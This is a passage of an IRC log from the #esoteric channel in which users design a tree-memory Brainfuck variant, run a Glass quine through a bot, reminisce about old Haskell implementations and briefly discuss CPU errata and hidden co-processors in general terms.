it up? < 1395780957 162948 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :a cell is more like a stack (of unary numbers no less), not a ram < 1395780978 959194 :password2!~password@197.78.163.44 PRIVMSG #esoteric :the unltimatly worst language to edebug would be one where the outcome of a cmd is linked to a random chance < 1395781050 150285 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :okay, 3 cells < 1395781054 230468 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :http://esolangs.org/wiki/Collatz_function < 1395781995 502512 :password2!~password@197.78.163.44 QUIT :Quit: "quick pm me when you read this!" < 1395782324 153037 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395782569 581462 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :my CAT program is evil / holy (depending on your viewpoint/background): http://esolangs.org/wiki/File:Cat-inf.png < 1395782585 144718 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 246 seconds < 1395782626 518561 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :and the my brand new esolang that it runs on: http://esolangs.org/wiki/Floater < 1395782662 813125 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :(i'm deciding to keep the name after all, too lazy to rename it to a name i have yet to invent) < 1395782695 378369 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395782711 699897 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :g'night < 1395782715 168593 :Zom-B!~Zom-B@143.177.41.147 NICK :Zom-B|zz < 1395783607 545216 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa QUIT :Ping timeout: 264 seconds < 1395783643 489380 :EgoBot!dlopen@libdl.so QUIT :Ping timeout: 264 seconds < 1395783696 428753 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1395783798 688870 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa JOIN :#esoteric < 1395784160 850926 :lambdabot!~lambdabot@silicon.int-e.eu QUIT :Read error: Connection reset by peer < 1395784428 36735 :lambdabot!~lambdabot@silicon.int-e.eu JOIN :#esoteric < 1395784974 575151 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395785086 619310 :Bike_!~Glossina@wl-nat101.it.wsu.edu JOIN :#esoteric < 1395785101 285332 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395786413 198213 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395787703 844666 :Bike_!~Glossina@wl-nat101.it.wsu.edu QUIT :Remote host closed the connection < 1395787717 878542 :Bike_!~Glossina@wl-nat101.it.wsu.edu JOIN :#esoteric < 1395787985 561828 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 268 seconds < 1395788078 221813 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : fizzie: is it possible you could rename a wiki page (not 'move', but really rename in the database)? It's not linked from or to anything yet <-- i think moving and then deleting the old should work well enough? < 1395788101 421018 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think history is transfered with a move automatically < 1395788127 715353 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(only admins can do the deletion bit) < 1395788182 849842 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : i tried to click the buttons of that gif <-- wait a moment, not only did i do that but it seemed to _work_. < 1395788198 775687 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(as in, it was stalled before and then continued) < 1395788451 208513 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell Zom-B|zz If you move the page and one of us admins deletes the original, the effect will be the same as renaming (page history is automatically transfered on moving) < 1395788451 433061 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395788743 947678 :MoALTz_!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: Leaving < 1395788808 179093 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell password2 mmm , i see none of these programs usses 1D instructions over a 2D tape <-- see paintfuck < 1395788808 865800 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395789105 569412 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : you can reach 2^n cells in n steps... <-- 3^n if make it infinite upwards too < 1395789109 215378 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*if you < 1395789149 589350 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :to get 3^n you need 3 down dirs < 1395789176 39962 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :a ternary tree stil lhas only one up direction < 1395789191 373095 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think you're wrong < 1395789199 819976 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :what does your tree look like? < 1395789219 803901 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait hm < 1395789230 741903 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :I MEAN I'M WRONG < 1395789244 788855 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric ::-) < 1395789273 528810 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :didn't think about the fact ^ reverses both < and > < 1395789333 802385 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :however, it should be possible to make a tree that's entirely symmetric in ^ < > < 1395789342 494149 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(still only 2^n though) < 1395789416 218625 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm the easiest way would be make each direction its own inverse < 1395789459 759267 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :essentially the free product of 3 copies of the group Z_2, i think < 1395789469 88709 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*to make < 1395789516 909855 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i am pretty sure i had 2 copies in my thesis somewhere < 1395789545 751602 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :then you're labeling the edges of a free 3-tree with 0,1,2 such that every vertex has all labels on incident edges < 1395789572 39283 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :right < 1395789605 653667 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :easiest to make it 0,1,2 in clockwise order around each vertex < 1395789633 110772 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that's systematic at least < 1395789647 514509 :evalj!~jeval@54029E80.dsl.pool.telekom.hu QUIT :Remote host closed the connection < 1395789651 809262 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you could also switch direction each step, by parity of distance < 1395789664 74460 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :or prettier is to color the edges red,green,blue < 1395789678 479247 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone has to have made this fractal picture already < 1395789688 574956 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :each vertex has all three colors incident < 1395789701 221768 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :and the three movements are called R,G,B < 1395789739 282030 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :call it RGBfuck :) < 1395789764 478870 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :or BrgFuck to stay with the same initial 2 letters < 1395789846 987897 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think i crashed google trying to find that tree < 1395789896 368988 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*crashed the web < 1395790046 564155 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i might try restarting the net, but then i'm afraid i'd lose irc too... < 1395790051 807528 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :http://telliott99.blogspot.com/2010/11/phylogenetic-tree-surgery-1.html < 1395790076 665511 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wtf did _that_ page load. < 1395790120 419338 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm maybe because it autoredirects to .no < 1395790166 151992 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :pretty pictures, at least < 1395790524 608581 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :was wondering if we cld store bits in the RGB orientation < 1395790613 916169 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395790621 690573 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you'd need a command to detect it, then < 1395790657 808839 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :[...] could be loop while clockwise oriented < 1395790683 893215 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :this reminds me a little of V < 1395790699 495123 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :so this would do bitwise io < 1395790716 172708 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :. outputs 0 or 1 depending on orientation < 1395790725 888595 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :like, you could have commands that mirror flipped the entire subtree in one direction < 1395790781 929422 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :hmm, you can only flip infinitely many bits at once:) < 1395790799 842891 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :this is getting wild < 1395790822 209018 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yep, that's the "reminds me of V" part < 1395791171 660392 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@tell Vorpal More silly photo stuff: http://zem.fi/2014-03-25-tl < 1395791171 885327 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395791232 902960 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :maybe the control should not only have a location but a direction as well < 1395791265 480303 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :if you're heading is B then RG would change direction < 1395791272 969010 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :while B would cross the edge < 1395791370 49641 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm right, then the tree flipping command can depend on the direction. < 1395791387 539039 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :there wld only be one flip < 1395791396 159245 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's what i mean < 1395791404 937343 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :right < 1395791416 729073 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :we can still limit the flip to one cell < 1395791429 959054 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :by swapping to adjacent edges < 1395791442 219160 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :instead of flipping over subtrees < 1395791455 303142 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :that's probably more sane < 1395791510 469286 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :so with heading B, Swap would swap R&G < 1395791567 198764 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :and , (input) would do a possible R&G swap to set orientation to input bit < 1395791583 179137 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :now we have exactly 8 instructions, like BF < 1395791598 218544 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :RGB[],.S < 1395791625 414250 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mind you, the R&G swap has no detectible effect other than flipping the orientation of the current vertex. < 1395791643 650128 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :yes, it flips the local bit < 1395791655 750886 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :just like -/+ in bitfuck < 1395791720 758460 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :maybe it's the very first BF variant with exponential storage < 1395791745 299783 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no i think V counts for that too < 1395791754 575798 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :where is V docs? < 1395791767 190715 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :http://esolangs.org/wiki/V < 1395791877 789278 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i had forgot that had a mirror command too < 1395792010 378816 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :that's a very ugly / command < 1395792027 487154 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :the , is not too pretty either:( < 1395792047 845354 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you mean the syntax? < 1395792063 688864 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :the semantics < 1395792094 779162 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :funnily enough some of that ugliness made it easier to implement, i think. < 1395792107 285547 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :also, it's not specified if going up infinitely is with left or right branches < 1395792113 528693 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if i vaguely recall correctly < 1395792229 635020 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm how did i implement that < 1395792342 18299 :Bike_!~Glossina@wl-nat101.it.wsu.edu QUIT :Quit: leaving < 1395792362 10060 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"A tree of all zeros with the root at its outer rightward slope" says one of my comments < 1395792457 748882 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :looking more carefully, the specification doesn't even say it starts as all zeros. < 1395792475 221503 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i guess i just made a choice. < 1395792723 48537 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION is quite satisfied with that tree implementation. < 1395792781 138687 :tromp!~tromp@rtc35-245.rentec.com PRIVMSG #esoteric :might be good starting point for BRgFuck implementation < 1395792789 360133 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :to make all the mirroring and left/right stuff easy, the data structure is expressed in terms of whether subtrees are inner or outer ones < 1395793066 449028 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i must have made this program back during my hugs days, ghc complains about a missing language option < 1395793192 707566 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :The computers at this university all have Hugs installed and it seems to be the default Haskell implementation < 1395793214 616199 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Which strikes me as odd as this university has its own (albeit horribly unmaintained) implementation of Haskell < 1395793220 419322 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: ouch, hugs has been dead for years < 1395793228 119010 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(unmaintained) < 1395793253 184996 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, more or fewer years than YHC? < 1395793269 285301 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not sure :P < 1395793287 35650 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hugs started dying when ghc got a proper interpreter mode, i think. < 1395793344 979378 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok i'll add just the LANGUAGE pragma and drop the parsec module name change then, so it should still compile with old hugs < 1395793451 575464 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :YHC seems to have died in 2008 < 1395793492 443246 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hugs in 2006 < 1395793619 913594 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :NYHC hasn't got very far yet < 1395793641 482737 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::( < 1395793646 852766 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I should work on that at some point < 1395793815 125569 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok file updated < 1395793890 309930 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and now with CC0 PD license, which i suspect is less dubious than a norwegian-claimed Public Domain < 1395793920 838868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not that i've ever actually checked properly whether norwegians can release into PD < 1395793994 492913 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i recall way back the servers here are nvg used to have hugs installed. now there is no haskell at all me thinks. < 1395793999 341718 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*here at < 1395794389 633366 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395795335 479541 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1395795435 879158 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395795631 454471 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395795633 571292 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395798163 170456 :ket1v!~ket1v@147.69.1.51 QUIT :Read error: Connection reset by peer < 1395798203 14796 :ket1v!~ket1v@147.69.1.51 JOIN :#esoteric < 1395798322 652444 :angela1!~canaima@190.37.173.83 JOIN :#esoteric < 1395798439 983678 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1395798576 819989 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395798810 640191 :angela1!~canaima@190.37.173.83 PART :#esoteric < 1395798834 689947 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i am interested in glass < 1395798848 601152 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but the C program is ancient and refuses to work < 1395799023 859783 :ket1v!~ket1v@147.69.1.51 QUIT :Ping timeout: 265 seconds < 1395799198 494889 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395799353 901546 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is Light Table causing Clojure to be yet another so-so language with a superior IDE? < 1395799402 450158 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i thought glass was in C++ ? < 1395799467 749687 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!glass {M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?" < 1395799467 936882 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"14?24?14?24?24?04?24?04?]}"14?24?14?24?24?04?24?04?]} < 1395799469 751363 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :OK < 1395799474 541218 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395799514 60358 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!glass {M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?""14?24?14?24?24?04?24?04?]}"14?24?14?24?24?04?24?04?]} < 1395799514 623806 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?""14?24?14?24?24?04?24?04?]}"14?24?14?24?24?04?24?04?]} < 1395799520 309768 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :kmc: too much twitter! < 1395799610 566575 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Pretty sure it is C++, yes. < 1395799835 639763 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1395801160 564135 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :sgeo: are there many light-table users? < 1395801170 140013 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :newsham: no idea < 1395801182 530527 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should probably try it, but I haven't been in a Clojure mood for a while < 1395801199 814031 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :now that haskell compiles to javascript, where are all the awesome haskell-based in-browser editors? < 1395801233 436389 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i wonder what lighttable security is like < 1395801283 550280 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is this an improvement or not https://en.wikipedia.org/w/index.php?title=Esoteric_programming_language&diff=601162845&oldid=600381750 < 1395801475 699745 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :oerjan: Well, I think it is not worse, at least. < 1395801553 978397 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok < 1395802835 376999 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395802979 167021 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :"We glued an iPad to a diving mask and BOOM two billion dollars. THAT's our fucking TED Talk." < 1395803007 673476 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sounds like a hit. < 1395803026 200981 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz JOIN :#esoteric < 1395803034 326383 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395803034 600086 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :o.o < 1395803043 267977 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome Shubshub < 1395803044 24245 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`welcome Shubshub < 1395803044 211028 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Shubshub: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395803044 480709 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1395803048 465522 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh. right. < 1395803057 30067 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :I've been here before :p < 1395803063 210433 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: we've made emergency measures < 1395803065 199998 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :nonetheless, the welcome is paramount. < 1395803075 416693 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :kk < 1395803089 780820 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :http://esolangs.org/wiki/!!!Batch < 1395803093 655389 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :I made that < 1395803109 702812 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh lordy < 1395803118 111409 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :hmm? < 1395803196 740570 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :Whats so oh lordy about it? < 1395803656 352680 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395803661 13770 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :Bike? < 1395803683 921510 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i just remember the last time it came up opinions were derisive. < 1395803700 312135 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :derisive? < 1395803778 970542 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :Bike: derisive? < 1395803902 394986 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :this slide deck has a neat errata section which delves into ways that cpu bugs can be abused. https://rpw.io/slides/rpw-csw2014-merged.pdf < 1395803913 27847 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you know.. if you're into that kinda thang < 1395803989 871080 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: O, it is in Vancouver. I am close enough then. < 1395804022 397454 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :s/is/was/ < 1395804031 315771 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :cansec is done < 1395804085 117898 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :mar 12-14, 2014 < 1395804135 289537 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If there are CPU bugs can be abused to make security hole that may be due to being too complicated that they didn't secure the instruction set properly. < 1395804177 880890 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :they're not bugs in instruction set, but in implementation. < 1395804191 329874 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :for example, cache doing the wrong thing when instruction is on a page boundary, weird cases like that... < 1395804208 50252 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :err.. branch prediction doing the wrong thing at a page boundary... < 1395804214 830628 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, it is because of caching and stuff; they shouldn't do that kind of implicit caching and branch prediction and stuff. < 1395804217 101699 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is a bad idea. < 1395804222 395974 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :anyway, apparently cpu errata docs are getting pretty big these days < 1395804238 590240 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :and security people have started paying attention < 1395804240 221628 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Not only because of that kind of stuff, but also because it make it too complicated design. < 1395804271 891381 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :instruction set is just another VM bytecode < 1395804336 155916 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :also more and more cpu chipsets have extra cpus which are somewhat hidden (in that most peopel arent aware of them) < 1395804357 190867 :tertu3!~tertu@174-20-41-3.mpls.qwest.net PRIVMSG #esoteric :are you saying that they shouldn't do branch prediction < 1395804367 380919 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :8 Core CPU with DDR4 Support was Revealed < 1395804375 111062 :tertu3!~tertu@174-20-41-3.mpls.qwest.net PRIVMSG #esoteric :that's been a thing for quite a while < 1395804379 77756 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :doing things liek power management, extra hidden security features (ie. for drm), handling firmware updates, doing theft protection, doing enterprise asset management (ie. remote control of machiens even when powered off), etc < 1395804392 341379 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wow it's Shubshub < 1395804394 161405 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :welcome back < 1395804399 352566 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz PRIVMSG #esoteric :hi < 1395804425 454718 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :like the extra hidden OS underneath your OS in trustzone, or the intel ME environment running on an ARC cpu on many intel chipsets < 1395804439 880347 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :or the hidden power management cpus on intel and arm chips < 1395804483 824519 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :not even counting the more "normal" and more "expected" hidden cpus in things like wifi adapters, keyboards, disk drives, etc.. < 1395804532 540827 :tertu3!~tertu@174-20-41-3.mpls.qwest.net PRIVMSG #esoteric :yeah the first x86 processor with a branch predictor was the P5 Pentium < 1395804533 520702 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :tertu3: Yes, I am saying they shouldn't do branch prediction. The compiler should do it instead of wanted < 1395804538 933241 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :would be neat seeing a list of popular computers over time with an accurate count of the number of distinct cpu cores other than the main general purpose cpu < 1395804547 533225 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And they shouldn't have hidden extra stuff < 1395804559 520807 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That not only complicates it but make it not understandable properly. < 1395804561 714141 :tertu3!~tertu@174-20-41-3.mpls.qwest.net PRIVMSG #esoteric :good luck convincing people to abandon x86 or ARM < 1395804585 779759 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :modern systems cannot be fully understood by 